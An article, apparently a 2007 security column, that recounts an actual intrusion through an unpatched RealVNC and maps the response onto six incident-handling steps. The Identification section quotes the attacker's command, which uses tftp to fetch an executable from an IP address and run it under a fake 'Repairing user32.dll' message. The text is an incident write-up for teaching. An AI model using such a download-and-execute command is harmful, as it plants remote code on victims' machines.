The 6 Steps of Incident Handling in Action

| May 2, 2007

Active Image
Active Image del.icio.us

Discuss in Forums {mos_smf_discuss:RichM}

wisemanIncident handling is a specialized field which is done best after proper training, guidance and experience.  However, if you follow the six core steps to incident handling, you will have a better chance of recovering favorably from an unforeseen incident.  The example below is an actual incident I experienced recently.  I have outlined the steps taken as they pertain to the six steps of Incident Handling.

I offer up this outline not as an example of the perfect Incident Handling Process but rather as a good faith gesture to the community. There is a Latin Proverb that states, "A wise man learns by the mistakes of others, a fool by his own." I believe a wise man also learns from the experiences of others. Hopefully this month's column puts both of us on a path towards wisdom.


I. Preparation

It’s too late for that.  There is no real time to come up with a solid foundation of policies and procedures, because something is always on fire.  Well not literally but figuratively something (or more often someone) constantly needs my attention.  This was an issue that existed for a part-time worker that honestly isn’t far enough up on the food chain to garner the level of respect and attention this issue deserved.

II. Identification

The user had mentioned that they saw a draft in their inbox with “weird symbols.”  Upon further examination this is the string I found:

%comspec% /c echo Repairing user32.dll & echo Please wait… & tftp -i 31.83.145.78 GET junkname.exe & start junkname&

I then decided to check start>run and there was the same string.  Now that I confirmed that someone was up to no good on this system, I needed to learn what their method of attack was.

This part was tricky, because at first I attempted to search for the executable, wkkvhrji.exe, and google literally came back with absolutely nothing. It was as if I made it up myself.  Obviously, this was a name made up by the attacker and for whatever reason completely unique aka completely worthless for identification.

This had me stumped. Then I spoke to a co-worker who recommended that I google the command, funny thing is if you copy and paste the command as it is written, google translates %comspec% /c into mspec.  Feel free to try it. It’s kind of fun but also really annoying when you are attempting to identify how an intruder accessed one of your machines. Then I decided to be VERY specific and put quotes around the command “%comspec% /c” that is when I came across this link http://forums.spywareinfo.com/lofiversion/index.php/t95333.html which then eventually led me to this link http://secunia.com/advisories/20107/.  The flaw is in our Real VNC software, which could have easily been fixed if we were on top of our application patching.

III. Containment

Thankfully, the person executing this script was not savvy enough to realize that the machine he/she was attacking was VPNed into a corporate network.  The attack was localized and there didn’t appear to be any issues that were detectable. More on that in the eradication phase. 

IV. Eradication

Other than the links that google uncovered, there was not a trace of a rootkit or any other malware.  I ran our in-house trend micro on her machine and turned up nothing.  I then went with a great tool by McAfee called Stinger.  While my concern was not a virus primarily, once I find a machine that has been compromised, I explore all avenues of  potential malicious code just in case.  After running Stinger and also coming up empty, I turned to Grisoft’s AVG Anti-root kit tool.  This is a freeware tool that has recently been released from beta testing, and, though they do not offer support, Grisoft makes a quality product, and this tool is no exception. 

V. Recovery

After an exhaustive search of all directories (hidden or otherwise), I was convinced that this machine was safe enough to allow back on my network. The necessary VNC patch was applied and this machine was considered fit for corporate use once again.  To be on the safe side, I updated the machine with the latest Windows and Office updates.

VI. Lessons Learned

First and foremost, take the time to keep track of all software versions and all updates issued by their vendor.  Of course this is a hassle, but had someone been diligent with updates, I wouldn’t have had to deal with this incident. 

Second, create and enforce policies with strict guidelines as to what is and is not allowed to be installed on machines that access your network.  How can you hope to have all apps patched properly, if you are not even aware of what your users are running?  A tool like Spiceworks will show you all applications running on your network, who is running what and the corresponding version number.  Its amazing what users will install on a work machine.

As attack vectors become increasingly obscure, it is important to limit the playing field we give the attacker by patching all apps and removing unnecessary programs, services and applications.


"The Wise Man" by Jim Warren. All rights resreved. See his other works at the Jim Warren Studios.

Category: RichM

Comments are closed.